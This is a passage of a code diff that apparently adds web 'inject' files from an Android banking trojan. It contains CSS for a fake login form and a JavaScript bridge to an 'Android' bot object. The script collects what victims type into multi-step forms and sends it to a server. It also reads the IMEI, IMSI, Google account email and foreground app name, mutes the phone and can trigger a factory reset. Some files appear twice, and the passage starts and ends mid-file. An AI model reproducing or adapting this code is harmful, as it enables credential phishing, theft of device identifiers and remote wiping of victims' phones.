font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 8.8 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 5px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #545353;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #AF000C;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#F0F0F0;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 40px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 200%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 5.2 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
